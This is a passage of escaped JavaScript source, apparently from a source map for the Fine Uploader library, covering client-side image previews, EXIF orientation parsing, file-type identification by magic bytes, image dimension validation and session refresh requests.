dy += dh;\n                }\n                ctx.restore();\n                tmpCanvas = tmpCtx = null;\n            }());\n        }\n        else {\n            ctx.drawImage(img, 0, 0, width, height);\n        }\n\n        canvas.qqImageRendered && canvas.qqImageRendered();\n        promise.success();\n\n        return promise;\n    }\n\n    function renderImageToCanvasWithCustomResizer(resizeInfo) {\n        var blob = resizeInfo.blob,\n            image = resizeInfo.image,\n            imageHeight = resizeInfo.imageHeight,\n            imageWidth = resizeInfo.imageWidth,\n            orientation = resizeInfo.orientation,\n            promise = new qq.Promise(),\n            resize = resizeInfo.resize,\n            sourceCanvas = document.createElement(\"canvas\"),\n            sourceCanvasContext = sourceCanvas.getContext(\"2d\"),\n            targetCanvas = resizeInfo.canvas,\n            targetHeight = resizeInfo.targetHeight,\n            targetWidth = resizeInfo.targetWidth;\n\n        transformCoordinate(sourceCanvas, imageWidth, imageHeight, orientation);\n\n        targetCanvas.height = targetHeight;\n        targetCanvas.width = targetWidth;\n\n        sourceCanvasContext.drawImage(image, 0, 0);\n\n        resize({\n            blob: blob,\n            height: targetHeight,\n            image: image,\n            sourceCanvas: sourceCanvas,\n            targetCanvas: targetCanvas,\n            width: targetWidth\n        })\n            .then(\n                function success() {\n                    targetCanvas.qqImageRendered && targetCanvas.qqImageRendered();\n                    promise.success();\n                },\n                promise.failure\n            );\n\n        return promise;\n    }\n\n    /**\n     * Transform canvas coordination according to specified frame size and orientation\n     * Orientation value is from EXIF tag\n     */\n    function transformCoordinate(canvas, width, height, orientation) {\n        switch (orientation) {\n            case 5:\n            case 6:\n            case 7:\n            case 8:\n                canvas.width = height;\n                canvas.height = width;\n                break;\n            default:\n                canvas.width = width;\n                canvas.height = height;\n        }\n        var ctx = canvas.getContext(\"2d\");\n        switch (orientation) {\n            case 2:\n                // horizontal flip\n                ctx.translate(width, 0);\n                ctx.scale(-1, 1);\n                break;\n            case 3:\n                // 180 rotate left\n                ctx.translate(width, height);\n                ctx.rotate(Math.PI);\n                break;\n            case 4:\n                // vertical flip\n                ctx.translate(0, height);\n                ctx.scale(1, -1);\n                break;\n            case 5:\n                // vertical flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.scale(1, -1);\n                break;\n            case 6:\n                // 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(0, -height);\n                break;\n            case 7:\n                // horizontal flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(width, -height);\n                ctx.scale(-1, 1);\n                break;\n            case 8:\n                // 90 rotate left\n                ctx.rotate(-0.5 * Math.PI);\n                ctx.translate(-width, 0);\n                break;\n            default:\n                break;\n        }\n    }\n\n    /**\n     * MegaPixImage class\n     */\n    function MegaPixImage(srcImage, errorCallback) {\n        var self = this;\n\n        if (window.Blob && srcImage instanceof Blob) {\n            (function() {\n                var img = new Image(),\n                    URL = window.URL && window.URL.createObjectURL ? window.URL :\n                        window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;\n                if (!URL) { throw Error(\"No createObjectURL function found to create blob url\"); }\n                img.src = URL.createObjectURL(srcImage);\n                self.blob = srcImage;\n                srcImage = img;\n            }());\n        }\n        if (!srcImage.naturalWidth && !srcImage.naturalHeight) {\n            srcImage.onload = function() {\n                var listeners = self.imageLoadListeners;\n                if (listeners) {\n                    self.imageLoadListeners = null;\n                    // IE11 doesn't reliably report actual image dimensions immediately after onload for small files,\n                    // so let's push this to the end of the UI thread queue.\n                    setTimeout(function() {\n                        for (var i = 0, len = listeners.length; i < len; i++) {\n                            listeners[i]();\n                        }\n                    }, 0);\n                }\n            };\n            srcImage.onerror = errorCallback;\n            this.imageLoadListeners = [];\n        }\n        this.srcImage = srcImage;\n    }\n\n    /**\n     * Rendering megapix image into specified target element\n     */\n    MegaPixImage.prototype.render = function(target, options) {\n        options = options || {};\n\n        var self = this,\n            imgWidth = this.srcImage.naturalWidth,\n            imgHeight = this.srcImage.naturalHeight,\n            width = options.width,\n            height = options.height,\n            maxWidth = options.maxWidth,\n            maxHeight = options.maxHeight,\n            doSquash = !this.blob || this.blob.type === \"image/jpeg\",\n            tagName = target.tagName.toLowerCase(),\n            opt;\n\n        if (this.imageLoadListeners) {\n            this.imageLoadListeners.push(function() { self.render(target, options); });\n            return;\n        }\n\n        if (width && !height) {\n            height = (imgHeight * width / imgWidth) << 0;\n        } else if (height && !width) {\n            width = (imgWidth * height / imgHeight) << 0;\n        } else {\n            width = imgWidth;\n            height = imgHeight;\n        }\n        if (maxWidth && width > maxWidth) {\n            width = maxWidth;\n            height = (imgHeight * width / imgWidth) << 0;\n        }\n        if (maxHeight && height > maxHeight) {\n            height = maxHeight;\n            width = (imgWidth * height / imgHeight) << 0;\n        }\n\n        opt = { width: width, height: height },\n        qq.each(options, function(optionsKey, optionsValue) {\n            opt[optionsKey] = optionsValue;\n        });\n\n        if (tagName === \"img\") {\n            (function() {\n                var oldTargetSrc = target.src;\n                renderImageToDataURL(self.srcImage, self.blob, opt, doSquash)\n                    .then(function(dataUri) {\n                        target.src = dataUri;\n                        oldTargetSrc === target.src && target.onload();\n                    });\n            }());\n        } else if (tagName === \"canvas\") {\n            renderImageToCanvas(this.srcImage, this.blob, target, opt, doSquash);\n        }\n        if (typeof this.onrender === \"function\") {\n            this.onrender(target);\n        }\n    };\n\n    qq.MegaPixImage = MegaPixImage;\n})();\n","/*globals qq */\n/**\n * Draws a thumbnail of a Blob/File/URL onto an <img> or <canvas>.\n *\n * @constructor\n */\nqq.ImageGenerator = function(log) {\n    \"use strict\";\n\n    function isImg(el) {\n        return el.tagName.toLowerCase() === \"img\";\n    }\n\n    function isCanvas(el) {\n        return el.tagName.toLowerCase() === \"canvas\";\n    }\n\n    function isImgCorsSupported() {\n        return new Image().crossOrigin !== undefined;\n    }\n\n    function isCanvasSupported() {\n        var canvas = document.createElement(\"canvas\");\n\n        return canvas.getContext && canvas.getContext(\"2d\");\n    }\n\n    // This is only meant to determine the MIME type of a renderable image file.\n    // It is used to ensure images drawn from a URL that have transparent backgrounds\n    // are rendered correctly, among other things.\n    function determineMimeOfFileName(nameWithPath) {\n        /*jshint -W015 */\n        var pathSegments = nameWithPath.split(\"/\"),\n            name = pathSegments[pathSegments.length - 1].split(\"?\")[0],\n            extension = qq.getExtension(name);\n\n        extension = extension && extension.toLowerCase();\n\n        switch (extension) {\n            case \"jpeg\":\n            case \"jpg\":\n                return \"image/jpeg\";\n            case \"png\":\n                return \"image/png\";\n            case \"bmp\":\n                return \"image/bmp\";\n            case \"gif\":\n                return \"image/gif\";\n            case \"tiff\":\n            case \"tif\":\n                return \"image/tiff\";\n        }\n    }\n\n    // This will likely not work correctly in IE8 and older.\n    // It's only used as part of a formula to determine\n    // if a canvas can be used to scale a server-hosted thumbnail.\n    // If canvas isn't supported by the UA (IE8 and older)\n    // this method should not even be called.\n    function isCrossOrigin(url) {\n        var targetAnchor = document.createElement(\"a\"),\n            targetProtocol, targetHostname, targetPort;\n\n        targetAnchor.href = url;\n\n        targetProtocol = targetAnchor.protocol;\n        targetPort = targetAnchor.port;\n        targetHostname = targetAnchor.hostname;\n\n        if (targetProtocol.toLowerCase() !== window.location.protocol.toLowerCase()) {\n            return true;\n        }\n\n        if (targetHostname.toLowerCase() !== window.location.hostname.toLowerCase()) {\n            return true;\n        }\n\n        // IE doesn't take ports into consideration when determining if two endpoints are same origin.\n        if (targetPort !== window.location.port && !qq.ie()) {\n            return true;\n        }\n\n        return false;\n    }\n\n    function registerImgLoadListeners(img, promise) {\n        img.onload = function() {\n            img.onload = null;\n            img.onerror = null;\n            promise.success(img);\n        };\n\n        img.onerror = function() {\n            img.onload = null;\n            img.onerror = null;\n            log(\"Problem drawing thumbnail!\", \"error\");\n            promise.failure(img, \"Problem drawing thumbnail!\");\n        };\n    }\n\n    function registerCanvasDrawImageListener(canvas, promise) {\n        // The image is drawn on the canvas by a third-party library,\n        // and we want to know when this is completed.  Since the library\n        // may invoke drawImage many times in a loop, we need to be called\n        // back when the image is fully rendered.  So, we are expecting the\n        // code that draws this image to follow a convention that involves a\n        // function attached to the canvas instance be invoked when it is done.\n        canvas.qqImageRendered = function() {\n            promise.success(canvas);\n        };\n    }\n\n    // Fulfills a `qq.Promise` when an image has been drawn onto the target,\n    // whether that is a <canvas> or an <img>.  The attempt is considered a\n    // failure if the target is not an <img> or a <canvas>, or if the drawing\n    // attempt was not successful.\n    function registerThumbnailRenderedListener(imgOrCanvas, promise) {\n        var registered = isImg(imgOrCanvas) || isCanvas(imgOrCanvas);\n\n        if (isImg(imgOrCanvas)) {\n            registerImgLoadListeners(imgOrCanvas, promise);\n        }\n        else if (isCanvas(imgOrCanvas)) {\n            registerCanvasDrawImageListener(imgOrCanvas, promise);\n        }\n        else {\n            promise.failure(imgOrCanvas);\n            log(qq.format(\"Element container of type {} is not supported!\", imgOrCanvas.tagName), \"error\");\n        }\n\n        return registered;\n    }\n\n    // Draw a preview iff the current UA can natively display it.\n    // Also rotate the image if necessary.\n    function draw(fileOrBlob, container, options) {\n        var drawPreview = new qq.Promise(),\n            identifier = new qq.Identify(fileOrBlob, log),\n            maxSize = options.maxSize,\n            // jshint eqnull:true\n            orient = options.orient == null ? true : options.orient,\n            megapixErrorHandler = function() {\n                container.onerror = null;\n                container.onload = null;\n                log(\"Could not render preview, file may be too large!\", \"error\");\n                drawPreview.failure(container, \"Browser cannot render image!\");\n            };\n\n        identifier.isPreviewable().then(\n            function(mime) {\n                // If options explicitly specify that Orientation is not desired,\n                // replace the orient task with a dummy promise that \"succeeds\" immediately.\n                var dummyExif = {\n                        parse: function() {\n                            return new qq.Promise().success();\n                        }\n                    },\n                    exif = orient ? new qq.Exif(fileOrBlob, log) : dummyExif,\n                    mpImg = new qq.MegaPixImage(fileOrBlob, megapixErrorHandler);\n\n                if (registerThumbnailRenderedListener(container, drawPreview)) {\n                    exif.parse().then(\n                        function(exif) {\n                            var orientation = exif && exif.Orientation;\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                orientation: orientation,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        },\n\n                        function(failureMsg) {\n                            log(qq.format(\"EXIF data could not be parsed ({}).  Assuming orientation = 1.\", failureMsg));\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        }\n                    );\n                }\n            },\n\n            function() {\n                log(\"Not previewable\");\n                drawPreview.failure(container, \"Not previewable\");\n            }\n        );\n\n        return drawPreview;\n    }\n\n    function drawOnCanvasOrImgFromUrl(url, canvasOrImg, draw, maxSize, customResizeFunction) {\n        var tempImg = new Image(),\n            tempImgRender = new qq.Promise();\n\n        registerThumbnailRenderedListener(tempImg, tempImgRender);\n\n        if (isCrossOrigin(url)) {\n            tempImg.crossOrigin = \"anonymous\";\n        }\n\n        tempImg.src = url;\n\n        tempImgRender.then(\n            function rendered() {\n                registerThumbnailRenderedListener(canvasOrImg, draw);\n\n                var mpImg = new qq.MegaPixImage(tempImg);\n                mpImg.render(canvasOrImg, {\n                    maxWidth: maxSize,\n                    maxHeight: maxSize,\n                    mime: determineMimeOfFileName(url),\n                    resize: customResizeFunction\n                });\n            },\n\n            draw.failure\n        );\n    }\n\n    function drawOnImgFromUrlWithCssScaling(url, img, draw, maxSize) {\n        registerThumbnailRenderedListener(img, draw);\n        // NOTE: The fact that maxWidth/height is set on the thumbnail for scaled images\n        // that must drop back to CSS is known and exploited by the templating module.\n        // In this module, we pre-render \"waiting\" thumbs for all files immediately after they\n        // are submitted, and we must be sure to pass any style associated with the \"waiting\" preview.\n        qq(img).css({\n            maxWidth: maxSize + \"px\",\n            maxHeight: maxSize + \"px\"\n        });\n\n        img.src = url;\n    }\n\n    // Draw a (server-hosted) thumbnail given a URL.\n    // This will optionally scale the thumbnail as well.\n    // It attempts to use <canvas> to scale, but will fall back\n    // to max-width and max-height style properties if the UA\n    // doesn't support canvas or if the images is cross-domain and\n    // the UA doesn't support the crossorigin attribute on img tags,\n    // which is required to scale a cross-origin image using <canvas> &\n    // then export it back to an <img>.\n    function drawFromUrl(url, container, options) {\n        var draw = new qq.Promise(),\n            scale = options.scale,\n            maxSize = scale ? options.maxSize : null;\n\n        // container is an img, scaling needed\n        if (scale && isImg(container)) {\n            // Iff canvas is available in this UA, try to use it for scaling.\n            // Otherwise, fall back to CSS scaling\n            if (isCanvasSupported()) {\n                // Attempt to use <canvas> for image scaling,\n                // but we must fall back to scaling via CSS/styles\n                // if this is a cross-origin image and the UA doesn't support <img> CORS.\n                if (isCrossOrigin(url) && !isImgCorsSupported()) {\n                    drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n                }\n                else {\n                    drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n                }\n            }\n            else {\n                drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n            }\n        }\n        // container is a canvas, scaling optional\n        else if (isCanvas(container)) {\n            drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n        }\n        // container is an img & no scaling: just set the src attr to the passed url\n        else if (registerThumbnailRenderedListener(container, draw)) {\n            container.src = url;\n        }\n\n        return draw;\n    }\n\n    qq.extend(this, {\n        /**\n         * Generate a thumbnail.  Depending on the arguments, this may either result in\n         * a client-side rendering of an image (if a `Blob` is supplied) or a server-generated\n         * image that may optionally be scaled client-side using <canvas> or CSS/styles (as a fallback).\n         *\n         * @param fileBlobOrUrl a `File`, `Blob`, or a URL pointing to the image\n         * @param container <img> or <canvas> to contain the preview\n         * @param options possible properties include `maxSize` (int), `orient` (bool - default true), resize` (bool - default true), and `customResizeFunction`.\n         * @returns qq.Promise fulfilled when the preview has been drawn, or the attempt has failed\n         */\n        generate: function(fileBlobOrUrl, container, options) {\n            if (qq.isString(fileBlobOrUrl)) {\n                log(\"Attempting to update thumbnail based on server response.\");\n                return drawFromUrl(fileBlobOrUrl, container, options || {});\n            }\n            else {\n                log(\"Attempting to draw client-side image preview.\");\n                return draw(fileBlobOrUrl, container, options || {});\n            }\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.isImg = isImg;\n    this._testing.isCanvas = isCanvas;\n    this._testing.isCrossOrigin = isCrossOrigin;\n    this._testing.determineMimeOfFileName = determineMimeOfFileName;\n    /*</testing>*/\n};\n","/*globals qq */\n/**\n * EXIF image data parser.  Currently only parses the Orientation tag value,\n * but this may be expanded to other tags in the future.\n *\n * @param fileOrBlob Attempt to parse EXIF data in this `Blob`\n * @constructor\n */\nqq.Exif = function(fileOrBlob, log) {\n    \"use strict\";\n\n    // Orientation is the only tag parsed here at this time.\n    var TAG_IDS = [274],\n        TAG_INFO = {\n            274: {\n                name: \"Orientation\",\n                bytes: 2\n            }\n        };\n\n    // Convert a little endian (hex string) to big endian (decimal).\n    function parseLittleEndian(hex) {\n        var result = 0,\n            pow = 0;\n\n        while (hex.length > 0) {\n            result += parseInt(hex.substring(0, 2), 16) * Math.pow(2, pow);\n            hex = hex.substring(2, hex.length);\n            pow += 8;\n        }\n\n        return result;\n    }\n\n    // Find the byte offset, of Application Segment 1 (EXIF).\n    // External callers need not supply any arguments.\n    function seekToApp1(offset, promise) {\n        var theOffset = offset,\n            thePromise = promise;\n        if (theOffset === undefined) {\n            theOffset = 2;\n            thePromise = new qq.Promise();\n        }\n\n        qq.readBlobToHex(fileOrBlob, theOffset, 4).then(function(hex) {\n            var match = /^ffe([0-9])/.exec(hex),\n                segmentLength;\n\n            if (match) {\n                if (match[1] !== \"1\") {\n                    segmentLength = parseInt(hex.slice(4, 8), 16);\n                    seekToApp1(theOffset + segmentLength + 2, thePromise);\n                }\n                else {\n                    thePromise.success(theOffset);\n                }\n            }\n            else {\n                thePromise.failure(\"No EXIF header to be found!\");\n            }\n        });\n\n        return thePromise;\n    }\n\n    // Find the byte offset of Application Segment 1 (EXIF) for valid JPEGs only.\n    function getApp1Offset() {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, 0, 6).then(function(hex) {\n            if (hex.indexOf(\"ffd8\") !== 0) {\n                promise.failure(\"Not a valid JPEG!\");\n            }\n            else {\n                seekToApp1().then(function(offset) {\n                    promise.success(offset);\n                },\n                function(error) {\n                    promise.failure(error);\n                });\n            }\n        });\n\n        return promise;\n    }\n\n    // Determine the byte ordering of the EXIF header.\n    function isLittleEndian(app1Start) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 10, 2).then(function(hex) {\n            promise.success(hex === \"4949\");\n        });\n\n        return promise;\n    }\n\n    // Determine the number of directory entries in the EXIF header.\n    function getDirEntryCount(app1Start, littleEndian) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 18, 2).then(function(hex) {\n            if (littleEndian) {\n                return promise.success(parseLittleEndian(hex));\n            }\n            else {\n                promise.success(parseInt(hex, 16));\n            }\n        });\n\n        return promise;\n    }\n\n    // Get the IFD portion of the EXIF header as a hex string.\n    function getIfd(app1Start, dirEntries) {\n        var offset = app1Start + 20,\n            bytes = dirEntries * 12;\n\n        return qq.readBlobToHex(fileOrBlob, offset, bytes);\n    }\n\n    // Obtain an array of all directory entries (as hex strings) in the EXIF header.\n    function getDirEntries(ifdHex) {\n        var entries = [],\n            offset = 0;\n\n        while (offset + 24 <= ifdHex.length) {\n            entries.push(ifdHex.slice(offset, offset + 24));\n            offset += 24;\n        }\n\n        return entries;\n    }\n\n    // Obtain values for all relevant tags and return them.\n    function getTagValues(littleEndian, dirEntries) {\n        var TAG_VAL_OFFSET = 16,\n            tagsToFind = qq.extend([], TAG_IDS),\n            vals = {};\n\n        qq.each(dirEntries, function(idx, entry) {\n            var idHex = entry.slice(0, 4),\n                id = littleEndian ? parseLittleEndian(idHex) : parseInt(idHex, 16),\n                tagsToFindIdx = tagsToFind.indexOf(id),\n                tagValHex, tagName, tagValLength;\n\n            if (tagsToFindIdx >= 0) {\n                tagName = TAG_INFO[id].name;\n                tagValLength = TAG_INFO[id].bytes;\n                tagValHex = entry.slice(TAG_VAL_OFFSET, TAG_VAL_OFFSET + (tagValLength * 2));\n                vals[tagName] = littleEndian ? parseLittleEndian(tagValHex) : parseInt(tagValHex, 16);\n\n                tagsToFind.splice(tagsToFindIdx, 1);\n            }\n\n            if (tagsToFind.length === 0) {\n                return false;\n            }\n        });\n\n        return vals;\n    }\n\n    qq.extend(this, {\n        /**\n         * Attempt to parse the EXIF header for the `Blob` associated with this instance.\n         *\n         * @returns {qq.Promise} To be fulfilled when the parsing is complete.\n         * If successful, the parsed EXIF header as an object will be included.\n         */\n        parse: function() {\n            var parser = new qq.Promise(),\n                onParseFailure = function(message) {\n                    log(qq.format(\"EXIF header parse failed: '{}' \", message));\n                    parser.failure(message);\n                };\n\n            getApp1Offset().then(function(app1Offset) {\n                log(qq.format(\"Moving forward with EXIF header parsing for '{}'\", fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name));\n\n                isLittleEndian(app1Offset).then(function(littleEndian) {\n\n                    log(qq.format(\"EXIF Byte order is {} endian\", littleEndian ? \"little\" : \"big\"));\n\n                    getDirEntryCount(app1Offset, littleEndian).then(function(dirEntryCount) {\n\n                        log(qq.format(\"Found {} APP1 directory entries\", dirEntryCount));\n\n                        getIfd(app1Offset, dirEntryCount).then(function(ifdHex) {\n                            var dirEntries = getDirEntries(ifdHex),\n                                tagValues = getTagValues(littleEndian, dirEntries);\n\n                            log(\"Successfully parsed some EXIF tags\");\n\n                            parser.success(tagValues);\n                        }, onParseFailure);\n                    }, onParseFailure);\n                }, onParseFailure);\n            }, onParseFailure);\n\n            return parser;\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.parseLittleEndian = parseLittleEndian;\n    /*</testing>*/\n};\n","/*globals qq */\nqq.Identify = function(fileOrBlob, log) {\n    \"use strict\";\n\n    function isIdentifiable(magicBytes, questionableBytes) {\n        var identifiable = false,\n            magicBytesEntries = [].concat(magicBytes);\n\n        qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {\n            if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {\n                identifiable = true;\n                return false;\n            }\n        });\n\n        return identifiable;\n    }\n\n    qq.extend(this, {\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by reading magic\n         * bytes in the beginning of the file, so this is an asynchronous operation.  Before we attempt to read the\n         * file, we will examine the blob's type attribute to save CPU cycles.\n         *\n         * @returns {qq.Promise} Promise that is fulfilled when identification is complete.\n         * If successful, the MIME string is passed to the success handler.\n         */\n        isPreviewable: function() {\n            var self = this,\n                identifier = new qq.Promise(),\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            log(qq.format(\"Attempting to determine if {} can be rendered in this browser\", name));\n\n            log(\"First pass: check type attribute of blob object.\");\n\n            if (this.isPreviewableSync()) {\n                log(\"Second pass: check for magic bytes in file header.\");\n\n                qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {\n                    qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {\n                        if (isIdentifiable(bytes, hex)) {\n                            // Safari is the only supported browser that can deal with TIFFs natively,\n                            // so, if this is a TIFF and the UA isn't Safari, declare this file \"non-previewable\".\n                            if (mime !== \"image/tiff\" || qq.supportedFeatures.tiffPreviews) {\n                                previewable = true;\n                                identifier.success(mime);\n                            }\n\n                            return false;\n                        }\n                    });\n\n                    log(qq.format(\"'{}' is {} able to be rendered in this browser\", name, previewable ? \"\" : \"NOT\"));\n\n                    if (!previewable) {\n                        identifier.failure();\n                    }\n                },\n                function() {\n                    log(\"Error reading file w/ name '\" + name + \"'.  Not able to be rendered in this browser.\");\n                    identifier.failure();\n                });\n            }\n            else {\n                identifier.failure();\n            }\n\n            return identifier;\n        },\n\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by checking the\n         * blob's type attribute.  This is a synchronous operation, useful for situations where an asynchronous operation\n         * would be challenging to support.  Note that the blob's type property is not as accurate as reading the\n         * file's magic bytes.\n         *\n         * @returns {Boolean} true if the blob can be rendered in the current browser\n         */\n        isPreviewableSync: function() {\n            var fileMime = fileOrBlob.type,\n                // Assumption: This will only ever be executed in browsers that support `Object.keys`.\n                isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0,\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            if (isRecognizedImage) {\n                if (fileMime === \"image/tiff\") {\n                    previewable = qq.supportedFeatures.tiffPreviews;\n                }\n                else {\n                    previewable = true;\n                }\n            }\n\n            !previewable && log(name + \" is not previewable in this browser per the blob's type attr\");\n\n            return previewable;\n        }\n    });\n};\n\nqq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {\n    \"image/jpeg\": \"ffd8ff\",\n    \"image/gif\": \"474946\",\n    \"image/png\": \"89504e\",\n    \"image/bmp\": \"424d\",\n    \"image/tiff\": [\"49492a00\", \"4d4d002a\"]\n};\n","/*globals qq*/\n/**\n * Attempts to validate an image, wherever possible.\n *\n * @param blob File or Blob representing a user-selecting image.\n * @param log Uses this to post log messages to the console.\n * @constructor\n */\nqq.ImageValidation = function(blob, log) {\n    \"use strict\";\n\n    /**\n     * @param limits Object with possible image-related limits to enforce.\n     * @returns {boolean} true if at least one of the limits has a non-zero value\n     */\n    function hasNonZeroLimits(limits) {\n        var atLeastOne = false;\n\n        qq.each(limits, function(limit, value) {\n            if (value > 0) {\n                atLeastOne = true;\n                return false;\n            }\n        });\n\n        return atLeastOne;\n    }\n\n    /**\n     * @returns {qq.Promise} The promise is a failure if we can't obtain the width & height.\n     * Otherwise, `success` is called on the returned promise with an object containing\n     * `width` and `height` properties.\n     */\n    function getWidthHeight() {\n        var sizeDetermination = new qq.Promise();\n\n        new qq.Identify(blob, log).isPreviewable().then(function() {\n            var image = new Image(),\n                url = window.URL && window.URL.createObjectURL ? window.URL :\n                      window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL :\n                      null;\n\n            if (url) {\n                image.onerror = function() {\n                    log(\"Cannot determine dimensions for image.  May be too large.\", \"error\");\n                    sizeDetermination.failure();\n                };\n\n                image.onload = function() {\n                    sizeDetermination.success({\n                        width: this.width,\n                        height: this.height\n                    });\n                };\n\n                image.src = url.createObjectURL(blob);\n            }\n            else {\n                log(\"No createObjectURL function available to generate image URL!\", \"error\");\n                sizeDetermination.failure();\n            }\n        }, sizeDetermination.failure);\n\n        return sizeDetermination;\n    }\n\n    /**\n     *\n     * @param limits Object with possible image-related limits to enforce.\n     * @param dimensions Object containing `width` & `height` properties for the image to test.\n     * @returns {String || undefined} The name of the failing limit.  Undefined if no failing limits.\n     */\n    function getFailingLimit(limits, dimensions) {\n        var failingLimit;\n\n        qq.each(limits, function(limitName, limitValue) {\n            if (limitValue > 0) {\n                var limitMatcher = /(max|min)(Width|Height)/.exec(limitName),\n                    dimensionPropName = limitMatcher[2].charAt(0).toLowerCase() + limitMatcher[2].slice(1),\n                    actualValue = dimensions[dimensionPropName];\n\n                /*jshint -W015*/\n                switch (limitMatcher[1]) {\n                    case \"min\":\n                        if (actualValue < limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                    case \"max\":\n                        if (actualValue > limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                }\n            }\n        });\n\n        return failingLimit;\n    }\n\n    /**\n     * Validate the associated blob.\n     *\n     * @param limits\n     * @returns {qq.Promise} `success` is called on the promise is the image is valid or\n     * if the blob is not an image, or if the image is not verifiable.\n     * Otherwise, `failure` with the name of the failing limit.\n     */\n    this.validate = function(limits) {\n        var validationEffort = new qq.Promise();\n\n        log(\"Attempting to validate image.\");\n\n        if (hasNonZeroLimits(limits)) {\n            getWidthHeight().then(function(dimensions) {\n                var failingLimit = getFailingLimit(limits, dimensions);\n\n                if (failingLimit) {\n                    validationEffort.failure(failingLimit);\n                }\n                else {\n                    validationEffort.success();\n                }\n            }, validationEffort.success);\n        }\n        else {\n            validationEffort.success();\n        }\n\n        return validationEffort;\n    };\n};\n","/* globals qq */\n/**\n * Module used to control populating the initial list of files.\n *\n * @constructor\n */\nqq.Session = function(spec) {\n    \"use strict\";\n\n    var options = {\n        endpoint: null,\n        params: {},\n        customHeaders: {},\n        cors: {},\n        addFileRecord: function(sessionData) {},\n        log: function(message, level) {}\n    };\n\n    qq.extend(options, spec, true);\n\n    function isJsonResponseValid(response) {\n        if (qq.isArray(response)) {\n            return true;\n        }\n\n        options.log(\"Session response is not an array.\", \"error\");\n    }\n\n    function handleFileItems(fileItems, success, xhrOrXdr, promise) {\n        var someItemsIgnored = false;\n\n        success = success && isJsonResponseValid(fileItems);\n\n        if (success) {\n            qq.each(fileItems, function(idx, fileItem) {\n                /* jshint eqnull:true */\n                if (fileItem.uuid == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid UUID - ignoring.\", idx), \"error\");\n                }\n                else if (fileItem.name == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid name - ignoring.\", idx), \"error\");\n                }\n                else {\n                    try {\n                        options.addFileRecord(fileItem);\n                        return true;\n                    }\n                    catch (err) {\n                        someItemsIgnored = true;\n                        options.log(err.message, \"error\");\n                    }\n                }\n\n                return false;\n            });\n        }\n\n        promise[success && !someItemsIgnored ? \"success\" : \"failure\"](fileItems, xhrOrXdr);\n    }\n\n    // Initiate a call to the server that will be used to populate the initial file list.\n    // Returns a `qq.Promise`.\n    this.refresh = function() {\n        /*jshint indent:false */\n        var refreshEffort = new qq.Promise(),\n            refreshCompleteCallback = function(response, success, xhrOrXdr) {\n                handleFileItems(response, success, xhrOrXdr, refreshEffort);\n            },\n            requesterOptions = qq.extend({}, options),\n            requester = new qq.SessionAjaxRequester(\n                qq.extend(requesterOptions, {onComplete: refreshCompleteCallback})\n            );\n\n        requester.queryServer();\n\n        return refreshEffort;\n    };\n};\n","/*globals qq, XMLHttpRequest*/\n/**\n * Thin module used to send GET requests to the server, expecting information about session\n * data used to initialize an uploader instance.\n *\n * @param spec Various options used to influence the associated request.\n * @constructor\n */\nqq.SessionAjaxRequester = function(spec) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            endpoint: null,\n            customHeaders: {},\n            params: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            onComplete: function(response, success, xhrOrXdr) {},\n            log: function(str, level) {}\n        };\n\n    qq.extend(options, spec);\n\n    function onComplete(id, xhrOrXdr, isError) {\n        var response = null;\n\n        /* jshint eqnull:true */\n        if (xhrOrXdr.responseText != null) {\n            try {\n                response = qq.parseJson(xhrOrXdr.responseText);\n            }\n            catch (err) {\n                options.log(\"Problem parsing session response: \" + err.message, \"error\");\n                isError = true;\n            }\n        }\n\n        options.onComplete(response, !isError, xhrOrXdr);\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"GET\"],\n        method: \"GET\",\n        endpointStore: {\n            get: function() {\n                return options.endpoint;\n            }\n        },\n        customHeaders: options.customHeaders,\n        log: options.log,\n        onComplete: onComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        queryServer: function() {\n            var params = qq.extend({}, options.params);\n\n            options.log(\"Session query request.\");\n\n            requester.initTransport(\"sessionRefresh\")\n                .withParams(params)\n                .withCacheBuster()\n                .send();\n        }\n    });\n};\n","/* globals qq, ExifRestorer */\n/**\n * Controls generation of scaled images based on a reference image encapsulated in a `File` or `Blob`.\n * Scaled images are generated and converted to blobs on-demand.\n * Multiple scaled images per reference image with varying sizes and other 